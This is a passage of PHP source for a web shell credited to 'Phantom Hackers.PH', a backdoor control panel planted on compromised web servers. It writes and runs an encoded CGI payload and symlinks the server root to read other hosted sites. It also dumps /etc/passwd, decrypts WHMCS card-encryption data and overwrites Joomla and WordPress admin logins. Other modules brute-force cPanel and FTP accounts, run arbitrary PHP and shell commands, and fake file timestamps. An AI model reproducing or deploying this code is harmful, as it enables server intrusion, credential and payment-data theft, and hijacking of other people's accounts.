2069dyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYo
2070JEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVz
2071ZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1l
2072bHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7Cgkm
2073UGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==';
2074
2075$file = fopen("cgi2012.izo" ,"w+");
2076$write = fwrite ($file ,base64_decode($cgi2012));
2077fclose($file);
2078 chmod("cgi2012.izo",0755);
2079 echo " <iframe src=cgi2012/cgi2012.izo width=100% height=600% frameborder=0></iframe>
2080
2081 </div>";
2082 }
2083elseif($action == 'port-sc'){
2084$start = strip_tags($_POST['start']);
2085 $end = strip_tags($_POST['end']);
2086 $host = strip_tags($_POST['host']);
2087 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
2088 for($i = $start; $i<=$end; $i++){
2089 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
2090 if($fp){
2091 echo 'Port '.$i.' is <font color=green>open</font><br>';
2092 }
2093 flush();
2094 }
2095 }else{
2096 echo '<table class=tabnet style="width:300px;padding:0 1px;">
2097 <input type="hidden" name="y" value="phptools">
2098 <tr><th colspan="5">Port Scanner</th></center></tr>
2099 <tr>
2100 <td>Host</td>
2101 <td><input type="text" class="inputz" style="width:220px;color:#E5E4E2;" name="host" value="localhost"/></td>
2102 </tr>
2103 <tr>
2104 <td>Port start</td>
2105 <td><input type="text" class="inputz" style="width:220px;color:#E5E4E2;" name="start" value="0"/></td>
2106 </tr>
2107 <tr><td>Port end</td>
2108 <td><input type="text" class="inputz" style="width:220px;color:#E5E4E2;" name="end" value="5000"/></td>
2109 </tr><td><input class="inputzbut" type="submit" style="color:#E5E4E2" value="Scan Ports" />
2110 </td></form></center></table>';
2111 }
2112}
2113elseif ($action == 'symlink'){
2114@set_time_limit(0);
2115
2116echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
2117
2118@mkdir('sym',0777);
2119$htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2120$write =@fopen ('sym/.htaccess','w');
2121fwrite($write ,$htaccess);
2122@symlink('/','sym/root');
2123$filelocation = basename(__FILE__);
2124$read_named_conf = @file('/etc/named.conf');
2125if(!$read_named_conf)
2126{
2127echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
2128}
2129else
2130{
2131echo "<br><br><div class='tmp'><table border='1' bordercolor='#E5E4E2' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
2132foreach($read_named_conf as $subject){
2133if(eregi('zone',$subject)){
2134preg_match_all('#zone "(.*)"#',$subject,$string);
2135flush();
2136if(strlen(trim($string[1][0])) >2){
2137$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
2138$name = $UID['name'] ;
2139@symlink('/','sym/root');
2140$name = $string[1][0];
2141$iran = '\.ir';
2142$israel = '\.il';
2143$indo = '\.id';
2144$sg12 = '\.sg';
2145$edu = '\.edu';
2146$gov = '\.gov';
2147$gose = '\.go';
2148$gober = '\.gob';
2149$mil1 = '\.mil';
2150$mil2 = '\.mi';
2151$malay = '\.my';
2152$china = '\.cn';
2153$japan = '\.jp';
2154$austr = '\.au';
2155$porn = '\.xxx';
2156$as = '\.uk';
2157$calfn = '\.ca';
2158
2159if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
2160or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
2161or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
2162or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
2163{
2164$name = "<div style=' color: #E5E4E2 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
2165}
2166echo "
2167<tr>
2168
2169<td>
2170<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
2171</td>
2172
2173<td>
2174'.$UID['name']."
2175</td>
2176
2177<td>
2178<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
2179</td>
2180
2181</tr></div> ";
2182flush();
2183}
2184}
2185}
2186}
2187
2188echo "</center></table>";
2189
2190}
2191
2192elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
2193{ }
2194
2195//Jumping
2196elseif ($action == 'jumping'){
2197 ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
2198 set_time_limit(0);
2199 @$passwd = fopen('/etc/passwd','r');
2200 if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
2201 $pub = array();
2202 $users = array();
2203 $conf = array();
2204 $i = 0;
2205 while(!feof($passwd))
2206 {
2207 $str = fgets($passwd);
2208 if ($i > 35)
2209 {
2210 $pos = strpos($str,':');
2211 $username = substr($str,0,$pos);
2212 $dirz = '/home/'.$username.'/public_html/';
2213 if (($username != ''))
2214 {
2215 if (is_readable($dirz))
2216 {
2217 array_push($users,$username);
2218 array_push($pub,$dirz);
2219 }
2220 }
2221 }
2222 $i++;
2223 }
2224 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
2225 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br />";
2226 echo "[~] Searching for passwords in config files...\n\n"."<br /><br /><br />";
2227 foreach ($users as $user)
2228 {
2229 $path = "/home/$user/public_html/";
2230 echo "<a href='?y=$path' target='_blank' style='text-shadow:0px 0px 10px #12E12E; font-weight:bold; color:#FF0000;'>$path</a><br><br><br>";
2231 }
2232 echo "\n";
2233 echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <-- that's on the menu --> Explore \n"."<br />";
2234 echo "[+] Complete...\n"."<br />";
2235}
2236//WHMCS Decoder
2237elseif($action == 'whmcs'){
2238function decrypt ($string,$cc_encryption_hash)
2239{
2240 $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
2241 $hash_key = _hash ($key);
2242 $hash_length = strlen ($hash_key);
2243 $string = base64_decode ($string);
2244 $tmp_iv = substr ($string, 0, $hash_length);
2245 $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
2246 $iv = $out = '';
2247 $c = 0;
2248 while ($c < $hash_length)
2249 {
2250 $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
2251 ++$c;
2252 }
2253 $key = $iv;
2254 $c = 0;
2255 while ($c < strlen ($string))
2256 {
2257 if (($c != 0 AND $c % $hash_length == 0))
2258 {
2259 $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
2260 }
2261 $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
2262 ++$c;
2263 }
2264 return $out;
2265}
2266
2267function _hash ($string)
2268{
2269 if (function_exists ('sha1'))
2270 {
2271 $hash = sha1 ($string);
2272 }
2273 else
2274 {
2275 $hash = md5 ($string);
2276 }
2277 $out = '';
2278 $c = 0;
2279 while ($c < strlen ($hash))
2280 {
2281 $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
2282 $c += 2;
2283 }
2284 return $out;
2285}
2286
2287echo "
2288<br><center><font size='5' color='#E5E4E2'><b> WHMCS Decoder </b></font></center>
2289<center>
2290<br>
2291
2292<FORM action='' method='post'>
2293<input type='hidden' name='form_action' value='2'>
2294<br>
2295<table class=tabnet style=width:600;padding:0 1px;>
2296<tr><td>db_host </td><td><input type='text' style='color:#E5E4E2;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
2297<tr><td>db_username</td><td><input type='text' style='color:#E5E4E2;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
2298<tr><td>db_password</td><td><input type='text' style='color:#E5E4E2;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
2299<tr><td>db_name</td><td><input type='text' style='color:#E5E4E2;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
2300<tr><td>cc_encryption_hash</td><td><input style='color:#E5E4E2;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
2301<td> <INPUT class='inputzbut' type='submit' style='color:#E5E4E2;background-color:' value='Submit' name='Submit'></td>
2302</table>
2303</FORM>
2304</center>";
2305}
2306//bypass
2307elseif ($action == 'safemode'){
2308file_put_contents("php.ini",$byphp);
2309file_put_contents(".htaccess",$byht);
2310echo "<script>alert('Disable Functions and Safemode Created');</script>";
2311die();
2312}
2313//Symlink Config
2314elseif ($action =='config'){
2315echo "<center/><br/><b><font color=#E5E4E2>+--==[ Config Shell Symlink ]==--+</font></b><br><br>";
2316
2317 mkdir('symlink', 0755);
2318 chdir('symlink');
2319 $kokdosya = ".htaccess";
2320 $dosya_adi = "$kokdosya";
2321 $dosya = fopen ($dosya_adi , 'w') or die ("Error c==(-_-Q)");
2322 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
2323
2324AddType application/x-httpd-cgi .cpc
2325
2326AddHandler cgi-script .izo
2327AddHandler cgi-script .izo";
2328 fwrite ( $dosya , $metin ) ;
2329 fclose ($dosya);
2330
2331$file = fopen("config.izo" ,"w+");
2332$write = fwrite ($file ,base64_decode($configshell));
2333fclose($file);
2334 chmod("config.izo",0755);
2335 echo "<iframe src=symlink/config.izo width=97% height=500% frameborder=50></iframe>
2336 </div>";
2337 echo "<br/>Open it in /symlink/config.izo";
2338}
2339//Joomla Password Changer
2340elseif ($action =='joomla'){
2341if(empty($_POST['pwd'])){
2342echo "<FORM method=\"POST\">
2343Host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"><br/>
2344Database : <INPUT size=\"15\" value=\"database\" name=\"database\" type=\"text\"><br>
2345Username : <INPUT size=\"15\" value=\"db_user\" name=\"username\" type=\"text\"><br/>
2346Password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"><br>
2347 <br>
2348Set A New username 4 Login : <INPUT name=\"admin\" size=\"40\" value=\"phantoms\"><br>
2349Default pass is : phantoms: <INPUT name=\"pwd\" size=\"40\" value=\"da058e0e11fdfb5165cb13d5ac01a2e8\"><br>
2350
2351<INPUT value=\"change\" name=\"send\" type=\"submit\">
2352</FORM>";
2353}
2354else{
2355$localhost = $_POST['localhost'];
2356$database = $_POST['database'];
2357$username = $_POST['username'];
2358$password = $_POST['password'];
2359$pwd = $_POST['pwd'];
2360$admin = $_POST['admin'];
2361
2362
2363 @mysql_connect($localhost,$username,$password) or die(mysql_error());
2364 @mysql_select_db($database) or die(mysql_error());
2365
2366$hash = crypt($pwd);
2367
2368$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
2369$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
2370$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
2371$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
2372$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
2373$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
2374$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
2375$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
2376
2377
2378if($SQL){
2379echo "<b>root@secure:# ~ Success</b> ";
2380}
2381}
2382}
2383//Wordpress
2384elseif ($action == 'wp'){
2385if(empty($_POST['pwd'])){
2386echo "<FORM method=\"POST\">
2387Host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"><br/>
2388Database : <INPUT size=\"15\" value=\"wp-\" name=\"database\" type=\"text\"><br>
2389Username : <INPUT size=\"15\" value=\"wp-\" name=\"username\" type=\"text\"><br/>
2390Password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"><br>
2391 <br>
2392Set A New Username : <INPUT name=\"admin\" size=\"15\" value=\"phantoms\"><br>
2393Set A New Password : <INPUT name=\"pwd\" size=\"15\" value=\"phantoms\"><br>
2394
2395<INPUT value=\"change\" name=\"send\" type=\"submit\">
2396</FORM>";
2397}
2398else{
2399$localhost = $_POST['localhost'];
2400$database = $_POST['database'];
2401$username = $_POST['username'];
2402$password = $_POST['password'];
2403$pwd = $_POST['pwd'];
2404$admin = $_POST['admin'];
2405
2406
2407 @mysql_connect($localhost,$username,$password) or die(mysql_error());
2408 @mysql_select_db($database) or die(mysql_error());
2409
2410$hash = crypt($pwd);
2411$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
2412$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
2413$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
2414$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
2415$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
2416$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
2417$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
2418
2419
2420if($a4s){
2421echo "<b> Success : You can now Login~</b> ";
2422}
2423}
2424}
2425// Brute
2426elseif ($action == 'brute') {
2427formhead(array('title'=>'Brute Forcer'));
2428 makehide('action','brute');
2429 makehide('dir',$brute);
2430@ini_set('memory_limit', 1000000000000);
2431$connect_timeout=5;
2432@set_time_limit(0);
2433$submit = $_REQUEST['submit'];
2434$users = $_REQUEST['users'];
2435$pass = $_REQUEST['passwords'];
2436$target = $_REQUEST['target'];
2437$option = $_REQUEST['option'];
2438
2439
2440$passlist = "0123456
244101234567
2442012345678
24430123456789
244401234567890
2445123456
24461234567
244712345678
2448123456789
24491234567890
2450111111
2451000000
2452222222
2453333333
2454444444
2455555555
2456666666
2457777777
2458888888
2459999999
2460123123
2461456456
2462789789
2463123321
2464456654
2465654321
24667654321
246787654321
2468987654321
24690987654321
2470admin
2471administrator
2472admincp
2473cpanel
2474adminx
2475admins
2476password
2477passwords
2478passw0rd
2479p@ssw0rd
2480p@ssword
2481khongco
248225251325
2483passw0rds";
2484if($target == ''){
2485$target = 'localhost';
2486}
2487print " <div align='center'>
2488<form method='post' style='border: 1px solid #000000'><br><br>
2489<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
2490<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
2491<div align='center'><br>
2492<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
2493<tr>
2494<td align='center'>
2495<b>Username</b></td>
2496<td>
2497<p align='center'>
2498<b>Password</b></td>
2499</tr>
2500</table>
2501<p align='center'>
2502<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
2503$i = 0;
2504while ($i < 60000) {
2505
2506 $line = posix_getpwuid($i);
2507 if (!empty($line)) {
2508
2509 while (list ($key, $vba_etcpwd) = each($line)){
2510 echo "".$vba_etcpwd."\n";
2511 break;
2512 }
2513
2514 }
2515
2516 $i++;
2517}
2518echo "
2519</textarea>
2520<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
2521<br>
2522<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
2523<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
2524</td></tr></table></td></tr></form><p align= 'left'>";
2525?>
2526<?php
2527function ftp_check($host,$user,$pass,$timeout){
2528$ch = curl_init();
2529curl_setopt($ch, CURLOPT_URL, "ftp://$host");
2530curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2531curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2532curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
2533curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2534curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2535curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2536$data = curl_exec($ch);
2537if ( curl_errno($ch) == 28 ) {
2538
2539print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2540exit;}
2541
2542elseif ( curl_errno($ch) == 0 ){
2543
2544p("<b>[ attack@vbateam.net ]# </b>
2545<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
2546}
2547curl_close($ch);}
2548
2549function cpanel_check($host,$user,$pass,$timeout){
2550$ch = curl_init();
2551curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
2552curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2553curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2554curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2555curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2556curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2557$data = curl_exec($ch);
2558if ( curl_errno($ch) == 28 ) {
2559print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2560exit;}
2561elseif ( curl_errno($ch) == 0 ){
2562
2563p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
2564
2565if(isset($submit) && !empty($submit)){
2566
2567$userlist = explode ("\n" , $users );
2568$passlist = explode ("\n" , $pass );
2569p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
2570foreach ($userlist as $user) {
2571$_user = trim($user);
2572foreach ($passlist as $password ) {
2573$_pass = trim($password);
2574if($option == "ftp"){
2575ftp_check($target,$_user,$_pass,$connect_timeout);
2576}
2577if ($option == "cpanel")
2578{
2579cpanel_check($target,$_user,$_pass,$connect_timeout);
2580}
2581}
2582}
2583}
2584
2585 formfoot();
2586}
2587
2588
2589
2590
2591
2592
2593elseif ($action == 'etcpwd') {
2594formhead(array('title'=>'Get /etc/passwd'));
2595 makehide('action','etcpwd');
2596 makehide('dir',$nowpath);
2597 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
2598 echo file_get_contents('/etc/passwd');
2599 echo "</textarea></p>";
2600 formfoot();
2601
2602}//etc/passwd
2603
2604elseif ($action == 'eval') {
2605 $phpcode = trim($phpcode);
2606 if($phpcode){
2607 if (!preg_match('#<\?#si', $phpcode)) {
2608 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
2609 }
2610 eval("?".">$phpcode<?");
2611 }
2612 formhead(array('title'=>'Eval PHP Code'));
2613 makehide('action','eval');
2614 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2615 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
2616 formfooter();
2617}//end eval
2618
2619
2620
2621
2622elseif ($action == 'editfile') {
2623 if(file_exists($opfile)) {
2624 $fp=@fopen($opfile,'r');
2625 $contents=@fread($fp, filesize($opfile));
2626 @fclose($fp);
2627 $contents=htmlspecialchars($contents);
2628 }
2629 formhead(array('title'=>'Create / Edit File'));
2630 makehide('action','file');
2631 makehide('dir',$nowpath);
2632 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
2633 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
2634 formfooter();
2635}//end editfile
2636
2637elseif ($action == 'newtime') {
2638 $opfilemtime = @filemtime($opfile);
2639 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
2640 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
2641 formhead(array('title'=>'Clone file was last modified time'));
2642 makehide('action','file');
2643 makehide('dir',$nowpath);
2644 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2645 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
2646 formfooter();
2647 formhead(array('title'=>'Set last modified'));
2648 makehide('action','file');
2649 makehide('dir',$nowpath);
2650 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2651 p('<p>Instead »');
2652 p('year:');
2653 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
2654 p('month:');
2655 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
2656 p('day:');
2657 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
2658 p('hour:');
2659 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
2660 p('minute:');
2661 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
2662 p('second:');
2663 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
2664 p('</p>');
2665 formfooter();
2666}//end newtime
2667
2668elseif ($action == 'shell') {
2669 if (IS_WIN && IS_COM) {
2670 if($program && $parameter) {
2671 $shell= new COM('Shell.Application');
2672 $a = $shell->ShellExecute($program,$parameter);
2673 m('Program run has '.(!$a ? 'success' : 'fail'));
2674 }
2675 !$program && $program = 'c:\windows\system32\cmd.exe';
2676 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
2677 formhead(array('title'=>'Execute Program'));
2678 makehide('action','shell');
2679 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2680 p('<p>');
2681 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2682 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2683 p('</p>');
2684 formfoot();
2685 }
2686 formhead(array('title'=>'Execute Command'));
2687 makehide('action','shell');
2688 if (IS_WIN && IS_COM) {
2689 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2690 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
2691 }
2692 p('<p>');
2693 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
2694 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2695 p('</p>');
2696 formfoot();
2697
2698 if ($command) {
2699 p('<hr width="100%" noshade /><pre>');
2700 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
2701 $wsh = new COM('WScript.shell');
2702 $exec = $wsh->exec('cmd.exe /c '.$command);
2703 $stdout = $exec->StdOut();
2704 $stroutput = $stdout->ReadAll();
2705 echo $stroutput;
2706 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
2707 $descriptorspec = array(
2708 0 => array('pipe', 'r'),
2709 1 => array('pipe', 'w'),
2710 2 => array('pipe', 'w')
2711 );
2712 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2713 if (is_resource($process)) {
2714 fwrite($pipes[0], $command."\r\n");
2715 fwrite($pipes[0], "exit\r\n");
2716 fclose($pipes[0]);
2717 while (!feof($pipes[1])) {
2718 echo fgets($pipes[1], 1024);
2719 }
2720 fclose($pipes[1]);
2721 while (!feof($pipes[2])) {
2722 echo fgets($pipes[2], 1024);
2723 }
2724 fclose($pipes[2]);
2725 proc_close($process);
2726 }
2727 } else {
2728 echo(execute($command));
2729 }
2730 p('</pre>');
2731 }
2732}//end shell
2733
2734elseif ($action == 'phpenv') {
2735 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
2736 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
2737 !$dis_func && $dis_func = 'No';
2738 $info = array(
2739 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2740 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
2741 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
2742 4 => array('Server OS',PHP_OS),
2743 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2744 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
2745 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
2746 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2747 9 => array('The file path',__FILE__),
2748
2749 10 => array('PHP Version',PHP_VERSION),
2750 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
2751 12 => array('Safe Mode',getcfg('safe_mode')),
2752 13 => array('Administrator',$adminmail),
2753 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
2754 15 => array('enable_dl',getcfg('enable_dl')),
2755 16 => array('display_errors',getcfg('display_errors')),
2756 17 => array('register_globals',getcfg('register_globals')),
2757 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
2758 19 => array('memory_limit',getcfg('memory_limit')),
2759 20 => array('post_max_size',getcfg('post_max_size')),
2760 21 => array('upload_max_filesize',$upsize),
2761 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
2762 23 => array('disable_functions',$dis_func),
2763 );
2764
2765 if($phpvarname) {
2766 m($phpvarname .' : '.getcfg($phpvarname));
2767 }
2768
2769 formhead(array('title'=>'Server environment'));
2770 makehide('action','phpenv');
2771 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
2772 formfooter();
2773
2774 $hp = array(0=> 'Server', 1=> 'PHP');
2775 for($a=0;$a<2;$a++) {
2776 p('<h2>'.$hp[$a].' »</h2>');
2777 p('<ul class="info">');
2778 if ($a==0) {
2779 for($i=1;$i<=9;$i++) {
2780 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2781 }
2782 } elseif ($a == 1) {
2783 for($i=10;$i<=23;$i++) {
2784 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2785 }
2786 }
2787 p('</ul>');
2788 }
2789}//end phpenv
2790
2791else {
2792 m('Undefined Action');
2793}
2794
2795?>
2796</td></tr></table>
2797<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
2798 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
2799 Copyright (C) 2013-2014 <B></B> - Develop by<B> <font color='red'>~Kh4lifax</font> </B></a> - <B>- Phantom Hackers.PH</B> All Rights Reserved.
2800</div>
2801</body>
2802</html>
2803
2804<?php
2805
2806/*======================================================
2807Show info shell
2808======================================================*/
2809
2810function m($msg) {
2811 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2812 echo $msg;
2813 echo '</div>';
2814}
2815function scookie($key, $value, $life = 0, $prefix = 1) {
2816 global $admin, $timestamp, $_SERVER;
2817 $key = ($prefix ? $admin['cookiepre'] : '').$key;
2818 $life = $life ? $life : $admin['cookielife'];
2819 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2820 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2821}
2822function multi($num, $perpage, $curpage, $tablename) {
2823 $multipage = '';
2824 if($num > $perpage) {
2825 $page = 10;
2826 $offset = 5;
2827 $pages = @ceil($num / $perpage);
2828 if($page > $pages) {
2829 $from = 1;
2830 $to = $pages;
2831 } else {
2832 $from = $curpage - $offset;
2833 $to = $curpage + $page - $offset - 1;
2834 if($from < 1) {
2835 $to = $curpage + 1 - $from;
2836 $from = 1;
2837 if(($to - $from) < $page && ($to - $from) < $pages) {
2838 $to = $page;
2839 }
2840 } elseif($to > $pages) {
2841 $from = $curpage - $pages + $to;
2842 $to = $pages;
2843 if(($to - $from) < $page && ($to - $from) < $pages) {
2844 $from = $pages - $page + 1;
2845 }
2846 }
2847 }
2848 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
